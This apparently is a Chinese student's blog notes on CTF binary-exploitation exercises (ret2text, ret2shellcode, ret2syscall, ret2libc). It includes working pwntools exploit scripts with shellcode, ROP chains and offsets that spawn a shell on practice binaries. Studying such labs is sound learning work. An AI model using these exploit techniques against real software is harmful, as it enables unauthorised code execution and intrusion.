因为研究生做的方向和内核相关,感觉pwn里面很多技巧都是运用内核的漏洞的,所以学习一下pwn并做一下记录。

ciscn_2019_n_1

这道题目是一道简单的栈溢出题目,先查看一下保护措施,发现开启栈不可执行保护。

image-20250514144722687

接下来到ida查看一下函数主体部分,发现函数逻辑很简单,并且存在gets函数,是个明显的栈溢出漏洞。其中v1char[44] 的缓冲区,但 gets() 可输入无限长度数据,导致栈溢出。

image-20250514144912449

虽然开启了栈不可执行保护,但是函数中本身存在cat /flag逻辑,无需在栈中执行程序,因此这里可以选择覆盖v2的值,也可以选择直接跳转到system函数执行。

这里笔者选择直接跳转执行system函数查看代码堆栈内容,可以看到堆栈中ret距离v1有0x30+8个字节,因此直接填充0x38个字符即可。

image-20250514145746072

接下来构造POC,其中system的地址查看后为0x4006BE。POC如下:

1
2
3
4
5
6
7
8
9
from pwn import *

r=remote("node5.buuoj.cn",25764)

p1=b'a'*(0x30+8)+p64(0x4006BE)

r.sendline(p1)

r.interactive()

ret2shellcode

先看一下程序基本信息,发现基本上没有开启什么保护措施,并且RWX段还表示程序中存在可读、可写、可执行的代码段。

image-20250515130444924

接下来看一下函数主体,gets危险函数,存在栈溢出。但是发现不存在system函数,那就不能直接使用现有函数,考虑我们自己写入shellcode或者是通过ROP来执行shellcode。

image-20250515130530096

这道题已经提示的很明显了,并且RWX还含有可读写执行的段,那大概率是我们自己写入shellcode。不过这里还是查看一下。在gdb中使用vmmap查看段的权限。

image-20250515142803027

此处vmmap只给我们提供了3类信息(可以根据颜色判断):CODE、RODATA以及STACK。乍一看这题好像可以将shellcode注入至stack中,但绝大多数的操作系统都默认开启ASLR保护,这大大提高了攻击栈的难度。因此,栈应当是我们最后考虑的对象。

随后我们看到有个buf2的变量没有被定义,查看一下发现是个全局变量在bss段,地址为0804A080,再看一下vmmap的结果,0x804a000-0x804b000是一个可执行的段。

image-20250515143954449

那我们的思路就很清晰了,就是将shellcode写入到buf2之后再填充垃圾数据覆盖栈,最后将栈返回地址指向buf2的起始地址即可。

下面就是我们如何构造 payload 了,首先需要确定的是我们能够控制的内存的起始地址距离 main 函数的返回地址的字节数。

image-20250516094545297

可以看到该字符串是通过相对于esp的索引,所以我们需要进行调试(至于为什么之前有些题目也是esp却可以直接查看Stack of main,我也不知道,只能之后做题的时候都尽量调试一下),将断点下在 call 处,查看 esp,ebp。

image-20250516101708983

可以看到这时候的s的地址为0xffffd53c,而ebp为0xffffd5a8,计算得到s相对于ebp的偏移为6c。构造payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

r=process('./ret2shellcode')

shellcode = asm(shellcraft.sh())

buf2_addr=0x0804A080

padding=0x6c+4

p1=shellcode.ljust(padding,b'a')+p32(buf2_addr)

r.sendline(p1)

r.interactive()

成功利用漏洞:

image-20250518160853607

ret2syscall

补充系统调用知识

首先要知道一些系统调用的基础知识,不知道的建议先学学内核扩充一下知识库。随后需要知道执行命令的系统调用为execve()。32位系统中该系统调用的编号为0xb,调用号通过eax传递,其余参数传递为ebxecxedxesiedi

64位系统的系统调用号为0x3b,rax传递,其余参数传递为rdirsirdxrcxr8r9

且ret返回的函数名不同

  • 32位为int 0x80,64位为syscall ret

题目分析

接下来看看这道题目,发现该程序开启栈不可执行。

image-20250514152820279

进ida的程序主体看一下,发现没有现成的system函数,但是还是存在gets函数,说明存在栈溢出漏洞。

image-20250514153052485

随后能注意到左侧一堆函数,感觉是用了静态链接库

image-20250514153240100

用file命令查一下,果然是静态链接的程序,这也就满足了使用系统调用的条件。

image-20250514153348275

那这道题目就很明显了。随后补充一下知识点

ROP是什么

随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

ret2syscall,即通过ROP控制程序执行系统调用,获取 shell。也就是通过一点一点的执行汇编代码拼接成我们想要执行的程序。所谓 gadgets 就是以 ret 结尾的指令序列。

  • 例如:pop eax ; ret

这段代码的作用就是将栈顶的数据弹出给eax,然后再将栈顶的数据作为返回地址返回。

获取gadgets的方式:

  • ROPgadget --binary 文件名 --only 'pop|ret' |grep '寄存器名'
  • ROPgadget --binary 文件名 --only 'int'
  • ROPgadget --binary 文件名 --string '/bin/sh'

要使用系统调用,那就需要把系统调用号传入eax寄存器,然后需要把ecx和edx的寄存器给清空。最后就是需要去把参数/bin/sh的地址存入ebx寄存器。

怎么把参数/bin/sh写入程序中?写到哪?

写到哪

我们要尽可能写到bss段,因为在不开pie的情况下,bss段的地址是不会变的,这意味着,我们可以用IDA看一下bss段的地址然后选定一个我们写入参数的地址,然后我们exp就可以直接写上这个地址了。但是如果我们想写到栈里面,确实用gdb也可以看到写在了哪个内存单元里面,但是这个地址是会变的,把exp上写入我们刚才用gdb看到的地址。解决办法也有,那就是需要泄露程序的一个内存单元地址,然后利用偏移,来计算出我们存放/bin/sh参数的地址。但是这样多少有点麻烦,并且很多时候,我们是无法泄露程序中的地址的,因此我们选择写到bss段。

怎么写?

第一种方法

第一种方法是去搜索gadget,寻找pop [ecx]这类对地址内容操作的指令。然后我们利用如下payload可以达到将参数/bin/sh写入bss段。(并且这部分的payload需要放到返回地址处使用

1
2
payload=p32(pop_ecx_addr)+p32(bss_addr)+p32(pop_[ecx]_addr)+'/bin'
payload+=p32(pop_ecx_addr)+p32(bss_addr+4)+p32(pop_[ecx]_addr)+'/sh\x00'

首先pop_ecx_addr指的是pop ecx;ret这个指令的地址 bss_addr指的将参数写入bss段的具体地址

pop_[ecx]_addr指的是pop dword ptr [ecx];ret这个指令的地址 (这里我写[ecx]是为了方便理解,我记得实际的exp里面,不能使用方括号)(另外这里不一定要是ecx,别的寄存器也可以,这里只是举个例子)然后参数/bin就是我们的参数

至于这个bss_addr+4是上面bss_addr的地址的衔接,因为参数/bin/sh需要两个内存单元存放,因此在这里将上面的地址加4,就存到了下面的内存单元。最后的\x00是用来声明字符串的结束。

但是这样搜寻gadget的手段,是有弊端的,因为有时候程序可能恰好就没有类似于pop [ecx]这样的指令。

第二种方法

因此我们可以用第二种方法,等到可以溢出的时候,用rop,先去把返回地址处放置一个read函数,然后再把/bin/sh写入指定的地址(把该地址放在read函数第二个参数即可)然后再随便找一个连续三次pop的指令(不连续应该也是可以的,反正就要进行三次pop,将read函数的三个参数先从栈顶给弹出来)
接着再进行ret2syscall,参数传完了,剩下的只要找些gadget片段进行ret2syscall即可。如果没有read函数的话,理论来说我们是可以系统调用read函数的,但是我试了一下,当用int 0x80来系统调用read函数之后,int 0x80指令的后面不是ret指令,没有办法再去衔接后面的gadget了。不过目前还没有遇见过系统调用read函数再ret2syscall的题目。

当使用这两种方法其中的一种之后,传参完毕,如此剩下的就是去搜寻我们需要的gadget片段,最后系统调用即可。

思路

因此这道题的思路很明确了,溢出之后填充pop eax所在地址,之后弹出int 0x80到eax中,在这之后弹出pop ebx所在地址,将'/bin/sh'弹出到ebx中。按照这个逻辑将ecx和edx都赋值为0

接下来我们来找一下这些结构的地址,首先是pop eax;ret,这里第一个包含pop ebx,会打乱栈,选择第二个0x080bb196

image-20250514212217965

接下来找一下/bin/sh的地址,没有的话就只能自己构造一下。找到'/bin/sh'的地址为0x080be408

image-20250514215139448

接下来找一下pop ebx;ret,如图所示,意外发现箭头所指的地方正是我们想要赋值的所有剩余寄存器,那我们直接使用该地址0x0806eb90,将栈结构稍微修改一下即可。

image-20250514215438603

接下来看看int 0x80所在地址,找到为0x08049421

image-20250514215607789

最后我们来看看需要填充多少才能溢出:

image-20250514215830198

填充64h+4个字符可以覆盖返回地址。但是这里有坑,注意到栈中没有定义v4的起始位置,也就是说v4前面有多少数据入栈是需要调试的,并没有给出来。

使用pwngdb调试一下,gdb ret2syscall b main(在main函数下断点) r(让程序跑起来) n(单步执行) 一直走到gets函数输入字符串AAAAAAAA,看到栈结构,此时ebp为0xffffd5b8,输入的v4的地址为0xffffd54c,b8-4c=6c。

image-20250515110010964

思路理清楚之后我们来想一下成功利用的栈长什么样:

1
2
3
4
5
6
7
8
+---------------------+
| 'A' * 0x70 | ← 填充
+---------------------+
| 0xdeadbeef | ← 覆盖 EBP
+---------------------+
| pop_eax_ret | ← 覆盖返回地址
+---------------------+
| 0xb | ← ROP 参数

该有的都有了我们就可以直接来写POC了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

r=process('./rop')

pop_eax=0x080bb196
execve=0xb
int_80=0x08049421
pop_edx_ecx_ebx=0x0806eb90
bin_sh=0x080be408


p1=b'a'*(0x6c+4)+p32(pop_eax)+p32(execve)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bin_sh)+p32(int_80)

r.sendline(p1)

r.interactive()

之后来试验一下,发现能成功利用漏洞,这个题目就结束啦。

image-20250515112820755

ret2libc

PLT表和GOT表

在进行ret2libc学习之前,我们需要先了解一下PLT表与GOT表的内容。

Procedure linkage table(PLT)过程连接表,位于代码段,是一个每个条目是16字节内容的数组,使得代码能够方便的访问共享的函数或者变量

Globle offset table(GOT)全局偏移量表,位于数据段,是一个每个条目是8字节地址的数组,用来存储外部函数在内存的确切地址。当程序首次调用某个外部函数时,实际上会跳转到PLT中的对应条目,而不是直接调用目标函数。

外部函数首次调用时,控制流会经过 PLT 表,PLT 中的代码片段首先尝试通过 GOT 跳转,但此时 GOT 中尚未存储真实函数地址,因此会回退到 PLT 中的解析逻辑。PLT 会压入函数在重定位表中的索引,并跳转到动态链接器,由动态链接器负责解析该函数的真实地址,将其回填到 GOT 中。如下图所示:

一旦地址被填充,后续所有对该函数的调用都会直接通过 GOT 跳转到目标函数,无需再次解析。如下图所示可以看到此时A的GOT表已经更新,可以直接在GOT表中找到其在内存中的位置并直接调用。

例1 ret2libc1

我们还是首先查看一下一下文件开启的保护。发现开启了栈不可执行保护。

接下来我们用ida反汇编后去main函数查看一下

发现有gets这个危险函数,存在栈溢出,接下来思考如何去利用。查看string字符串后发现"/bin/sh",并得到其地址0x0804A03C,接下来寻找system函数即可。

接下来找到外部函数system的调用,得到调用地址为0x08048460

那就很简单了,直接看一下需要制造多少垃圾数据填充即可。

得出需要填充0xb8-0x4c+4个垃圾数据,需要注意的是构造的payload中system函数需要先压入return地址到栈中,随后才是system函数的参数压入栈。因此构造POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

r=process('./ret2libc1')

system_addr=0x08048460

bin_sh=0x08048720

p1=b'a'*(0xb8-0x4c+4)+p32(system_addr)+b'bbbb'+p32(bin_sh)

r.sendline(p1)

r.interactive()

可以看到利用成功:

这道题相对简单,同时提供了"/bin/sh"和system函数调用,但是大多数程序并不会有这么好的情况。

例2 ret2libc2

照例查看文件信息:

有的人看到这部分跟ret2syscall那个很像,但是其实ret2syscall需要使用ROP构造系统调用,但是这道题中并没有相应的ROP,比如我们找一下pop eax;ret:

发现找不到,其实这也就意味着ret2syscall所需要的条件更苛刻,也就是题目更简单。我们来查看一下main函数:

同样的存在gets危险函数,存在栈溢出,但是这道题并没有提供"/bin/sh":

先看看查找一下system的地址,为0x08048490

接下来就是解决"/bin/sh"字符串的问题了。这里由于"/bin/sh"需要作为一个参数传入system中,因此我们需要将"/bin/sh"注入到bss段中。我们这里先尝试这样解决,如果bss段没有全局变量再想其他办法,不过好在这题并不复杂,题目给出了buf2全局变量,地址为0x0804A080。

我们需要调用gets函数,读取一个/bin/sh放在buf2,随后将buf2当作system的参数传入。先找到gets函数,我们去plt表看,gets地址为0x08048460。

ida_7DhuPY1MxY

调用gets函数时,会将gets函数的返回地址也压入栈中,随后被压入栈的是gets函数的参数。当gets函数执行的时候,会找到esp+8的位置也就是参数的位置,当我们想要弹出参数后面的system地址的时候,就需要将参数pop出来,然后ret就会弹出下一个地址并跳转执行。这时候我们就需要找到一个pop 寄存器;ret指令,将gets函数参数pop出来。

这里我们不是构造系统调用,所以随便一个pop ret即可:

MobaXterm_JBzY9baMHR

这里因为ebp最好不要动,我们选第三个,地址为0x0804843d,这时候我们想想栈结构是怎么样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|-------------------------------|
| 低地址 |
| 'a'*112 (覆盖到返回地址) | ← 填充 ebp-0xb8 到 ebp+4
|-------------------------------|
| gets_addr (0x08048460) | ← 覆盖原始返回地址
|-------------------------------|
| pop_ebx_ret (0x0804843d) | ← gets返回后执行
|-------------------------------|
| buf2 (0x0804A080) | ← gets的参数,被之后会被pop出来
|-------------------------------|
| system_addr (0x08048490) | ← ret之后会将其弹出并执行
|-------------------------------|
| 'bbbb' (伪返回地址) | ← system的返回地址(无意义)
|-------------------------------|
| buf2 (0x0804A080) | ← system的参数(/bin/sh地址)
|-------------------------------|
| 高地址 |
|-------------------------------|

思路确定好后就是查看填充多少字符了

填充量和上一题是一样的,写POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

r=process('./ret2libc2')

pop_ebx_ret=0x0804843d

gets_addr=0x08048460

system_addr=0x08048490

buf2=0x0804A080

bin_sh="/bin/sh"

p1=b'a'*(0xb8-0x4c+4)+p32(gets_addr)+p32(pop_ebx_ret)+p32(buf2)+p32(system_addr)+b'bbbb'+p32(buf2)

r.sendline(p1)
r.sendline(bin_sh)

r.interactive()

利用成功:

pycharm64_Ll2Jtc5gkR

[第五空间2019 决赛]PWN5